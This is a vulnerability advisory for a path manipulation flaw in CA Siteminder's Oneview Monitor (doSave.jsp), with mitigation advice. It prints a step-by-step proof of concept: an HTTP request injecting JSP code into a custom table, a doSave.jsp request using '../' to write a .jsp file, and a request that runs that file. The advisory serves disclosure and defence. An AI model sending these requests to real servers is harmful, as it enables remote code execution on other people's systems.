CA Oneview Monitor "DoSave.jsp" path manipulation  
Tested Versions:   
This advisory is intended for CA Netegrity Siteminder Policy Manager 6.x   
with Netegrity Oneview monitor installed.

High: Attackers may be able to execute arbitrary code on the remote   
Apply thorough input validation techniques to user input in order to   
prevent path manipulation via "../" and control that provided input has   
no extension (e.g. ".").  
In addition, we also suggest to protect this interface by default using   
a password security policy.  
Minded Security Consultants discovered during a penetration testing   
activity that Oneview monitor interface let users to save configuration   
settings files with arbitrary extensions (e.g. JSP). In addition an   
attacker could execute arbitrary JSP code since the saved file content   
can be partially controlled.  
Minded Security consultants discovered that   
"/sitemindermonitor/doSave.jsp" is prone to a path manipulation issue.   
Users may be able to save configuration settings in different   
destination paths with an arbitrary extension. Since the   
configuration file content can be partially controlled, an attacker   
could be able to execute arbitrary JSP code.  
One View Monitor is shipped with a default installation of CA Siteminder   
6.0 Sp5 and is included with CA Siteminder Policy Editor.  
By default Oneview Monitor configuration files are saved in   
"/siteminder/monitor/settings". Siteminder Monitor is a single user   
application, if no password is set, anybody may be able to perform the   
following attack.  
First of all an attacker should add a Custom Table (newtable) with the   
jsp code to be executed, using a HTTP Request like the following one:  
GET /sitemindermonitor/doConfig.jsp?newTable=newtable&components=Agent&  
cols=AuthorizeCount%20/%20sec%0d<%25@%20page %20import="*"%20%25>%0d<%25@%20page%20  
import="java.util.*"%20%25>%0d<%25%20out.println("Jsp%20Code %20Execution")%3b%20%25> HTTP/1.1 Host: User­Agent: Mozilla/5.0 (X11; U; Linux x86_64; it; rv:  
Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: it­it,it;q=0.8,en­us;q=0.5,en;q=0.3 Accept­Encoding: gzip,deflate Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7 Keep­Alive: 300 Proxy­Connection: keep­alive Cookie: JSESSIONID=5Y0j0KctsQUfAzdP6GUUSRB0PZY   
The previous simple code will print on screen "JSP Code Execution":  
<%@ page import="*" %> <%@ page import="java.util.*" %> <% out.println("Jsp Code Execution"); %>   
The following request will create a new Jsp page that contains our JSP   
- http://<webserver>/sitemindermonitor/doSave.jsp?file=../attacksample.jsp  
The previous request will create a new file called "attacksample.jsp" in   
"d:\<programs>\siteminder\monitor\attacksample.jsp"; An attacker can now   
request the new file through the following http request:  
- http://<webserver>/sitemindermonitor/attacksample.jsp  
The output will be the following one:  
m_tableKeyq�~�xp�����ur�[Ljava.lang.String;­ ÒVçé{G��xp���t�Hostt�Productt�Platformt�Versiont�

An attacker could step on with further attacks, such as executing   
processes on the remote system or getting direct filesystem access.
